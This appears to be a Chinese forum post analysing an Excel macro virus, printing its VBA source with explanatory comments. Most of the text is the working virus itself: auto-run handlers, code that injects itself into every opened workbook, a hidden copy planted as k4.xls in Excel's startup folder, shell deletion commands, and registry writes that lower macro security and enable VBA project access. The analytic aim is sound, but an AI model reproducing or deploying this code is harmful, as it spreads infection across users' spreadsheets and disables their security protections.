一段宏病毒代码分析，一起想合理解决方案
'*****************************************************************
'本段代码在Excel打开时候就会运行代码 两个子过程都会运行
'*****************************************************************
Public WithEvents xx As Application
Private Sub Workbook_open()'打开excel即执行文件
Set xx = Application
On Error Resume Next
Application.DisplayAlerts = False
Call do_what'调用do_what方法
End Sub
Private Sub xx_workbookOpen(ByVal wb As Workbook)'定义wb为workbook类型
On Error Resume Next
wb.VBProject.References.AddFromGuid _
GUID:="{0002E157-0000-0000-C000-000000000046}", _'AddFromGuid 方法可搜寻注册表 来找寻要添加的引用。GUID 可以是类型库、控件、类标识符等。
Major:=5, Minor:=3
Application.ScreenUpdating = False
Application.DisplayAlerts = False
copystart wb'此处copystart为 ToDOLE模块定义的函数
Application.ScreenUpdating = True
End Sub
'*******************************************************************************************
Private Sub auto_open()
Application.DisplayAlerts = False
If ThisWorkbook.Path <> Application.StartupPath Then
Application.ScreenUpdating = False
Call delete_this_wk
Call copytoworkbook
If Sheets(1).Name <> "Macro1" Then Movemacro4 ThisWorkbook
ThisWorkbook.Save
Application.ScreenUpdating = True
End If
End Sub
'病毒的感染部分代码
Private Sub copytoworkbook()
Const DQUOTE = """"
With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
.InsertLines 1, "Public WithEvents xx As Application"
.InsertLines 2, "Private Sub Workbook_open()"
.InsertLines 3, "Set xx = Application"
.InsertLines 4, "On Error Resume Next"
.InsertLines 5, "Application.DisplayAlerts = False"
.InsertLines 6, "Call do_what"
.InsertLines 7, "End Sub"
.InsertLines 8, "Private Sub xx_workbookOpen(ByVal wb As Workbook)"
.InsertLines 9, "On Error Resume Next"
.InsertLines 10, "wb.VBProject.References.AddFromGuid _"
.InsertLines 11, "GUID:=" & DQUOTE & "{0002E157-0000-0000-C000-000000000046}" & DQUOTE & ", _"
.InsertLines 12, "Major:=5, Minor:=3"
.InsertLines 13, "Application.ScreenUpdating = False"
.InsertLines 14, "Application.DisplayAlerts = False"
.InsertLines 15, "copystart wb"
.InsertLines 16, "Application.ScreenUpdating = True"
.InsertLines 17, "End Sub"
End With
End Sub
Private Sub delete_this_wk()
Dim VBProj As VBIDE.VBProject
Dim VBComp As VBIDE.VBComponent
Dim CodeMod As VBIDE.CodeModule
Set VBProj = ThisWorkbook.VBProject
Set VBComp = VBProj.VBComponents("ThisWorkbook")
Set CodeMod = VBComp.CodeModule
With CodeMod
.DeleteLines 1, .CountOfLines
End With
End Sub
Function do_what()
If ThisWorkbook.Path <> Application.StartupPath Then
RestoreAfterOpen'调用RestoreAfterOpen函数
Call OpenDoor'调用OpenDoor
Call Microsofthobby'调用Microsofthobby
Call ActionJudge'调用ActionJudge
End If
End Function
Function copystart(ByVal wb As Workbook)
On Error Resume Next
Dim VBProj1 As VBIDE.VBProject
Dim VBProj2 As VBIDE.VBProject
Set VBProj1 = Workbooks("k4.xls").VBProject
Set VBProj2 = wb.VBProject
If copymodule("ToDole", VBProj1, VBProj2, False) Then Exit Function
End Function
'自我感染模块
Function copymodule(ModuleName As String, _
FromVBProject As VBIDE.VBProject, _
ToVBProject As VBIDE.VBProject, _
OverwriteExisting As Boolean) As Boolean
On Error Resume Next
Dim VBComp As VBIDE.VBComponent
Dim FName As String
Dim CompName As String
Dim S As String
Dim SlashPos As Long
Dim ExtPos As Long
Dim TempVBComp As VBIDE.VBComponent
If FromVBProject Is Nothing Then
copymodule = False
Exit Function
End If
If Trim(ModuleName) = vbNullString Then
copymodule = False
Exit Function
End If
If ToVBProject Is Nothing Then
copymodule = False
Exit Function
End If
If FromVBProject.Protection = vbext_pp_locked Then
copymodule = False
Exit Function
End If
If ToVBProject.Protection = vbext_pp_locked Then
copymodule = False
Exit Function
End If
On Error Resume Next
Set VBComp = FromVBProject.VBComponents(ModuleName)
If Err.Number <> 0 Then
copymodule = False
Exit Function
End If
FName = Environ("Temp") & "" & ModuleName & ".bas"
If OverwriteExisting = True Then
If Dir(FName, vbNormal + vbHidden + vbSystem) <> vbNullString Then
Err.Clear
Kill FName
If Err.Number <> 0 Then
copymodule = False
Exit Function
End If
End If
With ToVBProject.VBComponents
.Remove .Item(ModuleName)
End With
Else
Err.Clear
Set VBComp = ToVBProject.VBComponents(ModuleName)
If Err.Number <> 0 Then
If Err.Number = 9 Then
Else
copymodule = False
Exit Function
End If
End If
End If
FromVBProject.VBComponents(ModuleName).Export FileName:=FName
SlashPos = InStrRev(FName, "")
ExtPos = InStrRev(FName, ".")
CompName = Mid(FName, SlashPos + 1, ExtPos - SlashPos - 1)
Set VBComp = Nothing
Set VBComp = ToVBProject.VBComponents(CompName)
If VBComp Is Nothing Then
ToVBProject.VBComponents.Import FileName:=FName
Else
If VBComp.Type = vbext_ct_Document Then
Set TempVBComp = ToVBProject.VBComponents.Import(FName)
With VBComp.CodeModule
.DeleteLines 1, .CountOfLines
S = TempVBComp.CodeModule.Lines(1, TempVBComp.CodeModule.CountOfLines)
.InsertLines 1, S
End With
On Error GoTo 0
ToVBProject.VBComponents.Remove TempVBComp
End If
End If
Kill FName
copymodule = True
End Function
'**********************************************************************************************************************
'Microsofthobby() 函数分析
'查找系统启动路径内是否存在k4.xls文件，如果存在就删除该文件，这个保持病毒的持续更新
'这个k4.xls文件如果太大的话，下次启动程序就会很慢
'**********************************************************************************************************************
Function Microsofthobby()
Dim myfile0 As String
Dim MyFile As String
On Error Resume Next
myfile0 = ThisWorkbook.FullName'查看当前工作表的全称
MyFile = Application.StartupPath & "\k4.xls"'Offfice启动路径的\k4.xls文件
If WorkbookOpen("k4.xls") And ThisWorkbook.Path <> Application.StartupPath Then Workbooks("k4.xls").Close False'如果打开了文件k4.xls同时本文件不在启动文件中，关闭k4.xls文件
'Shell函数：执行一个命令
'Environ函数：返回 String，它关联于一个操作系统环境变量。 在 Macintosh 中不可用
Shell Environ$("comspec") & " /c attrib -S -h """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus'最小化运行程序 同时返回指针 删除k4.xls的系统和隐藏属性
Shell Environ$("comspec") & " /c Del /F /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus'最小化运行程序 同时返回指针 删除k4.xls文件
Shell Environ$("comspec") & " /c RD /S /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus'最小化运行程序 同时返回指针 删除k4.xls目录及目录树下的子文件（夹）
If ThisWorkbook.Path <> Application.StartupPath Then
Application.ScreenUpdating = False'关闭屏幕更新 加速程序的运行
ThisWorkbook.IsAddin = True'如果工作簿打开后进行了更改，不会提示保存工作簿。工作簿窗口不可见。宏”对话框（通过指向“工具”菜单上的“宏”，然后单击“宏”即可显示）中，工作簿中的所有宏都不可见。
'即使不可见，还是可以从“宏”对话框运行工作簿中的宏。 此外，宏名称不需要使用工作簿名称进行限定。打开工作簿时按住 Shift 键不会产生任何效果。
ThisWorkbook.SaveCopyAs MyFile'将工作簿的副本保存到文件中，但不修改内存中打开的工作簿
ThisWorkbook.IsAddin = False'修改回原来的属性
Application.ScreenUpdating = True'启动屏幕更新
End If
End Function
'******************************************************************************************************
'OpenDoor 函数分析
'该函数查看了程序的版本，同时创建了一个scripting.filesystemobject对象，可能进行磁盘操作
'同时查看了当前版本的Office程序的版本号，进行注册表的操作
'关键性的东西在WReg函数里边，具体信息查看下边的Wreg函数的注释
'*******************************************************************************************************
Function OpenDoor()
Dim Fso, RK1 As String, RK2 As String, RK3 As String, RK4 As String
Dim KValue1 As Variant, KValue2 As Variant
Dim VS As String
On Error Resume Next
VS = Application.Version'查找程序的版本
Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")'创建并返回一个对 ActiveX 对象的引用，此对象为scripting.filesystemobject，作者很有意思，通过不规则的大小写来迷惑这个对象
'scripting.filesystemobject介绍：
'在代码内操作文本文件、文件夹及驱动器。它是脚本运行期库提供的对象之一，对于服务器ASP页面内的VBScript和JScript都有效
RK1 = "HKEY_CURRENT_USER\Software\Microsoft\Office" & VS & "\Excel\Security\AccessVBOM"
RK2 = "HKEY_CURRENT_USER\Software\Microsoft\Office" & VS & "\Excel\Security\Level"
RK3 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office" & VS & "\Excel\Security\AccessVBOM"
RK4 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office" & VS & "\Excel\Security\Level"
KValue1 = 1
KValue2 = 1
Call WReg(RK1, KValue1, "REG_DWORD")'使用Wreg函数准备操作注册表
Call WReg(RK2, KValue2, "REG_DWORD")
Call WReg(RK3, KValue1, "REG_DWORD")
Call WReg(RK4, KValue2, "REG_DWORD")
End Function
'******************************************************************************************************
'WReg 函数分析
'修改注册表特定的键和值
'*******************************************************************************************************
Sub WReg(strkey As String, Value As Variant, ValueType As String)
Dim oWshell
Set oWshell = CreateObject("WScript.Shell")'创建WScript.Shell对象，准备对注册表进行进行操作
If ValueType = "" Then'如果ValueType为空，则仅写入键和值
oWshell.RegWrite strkey, Value
Else
oWshell.RegWrite strkey, Value, ValueType
End If
Set oWshell = Nothing'释放引用
End Sub
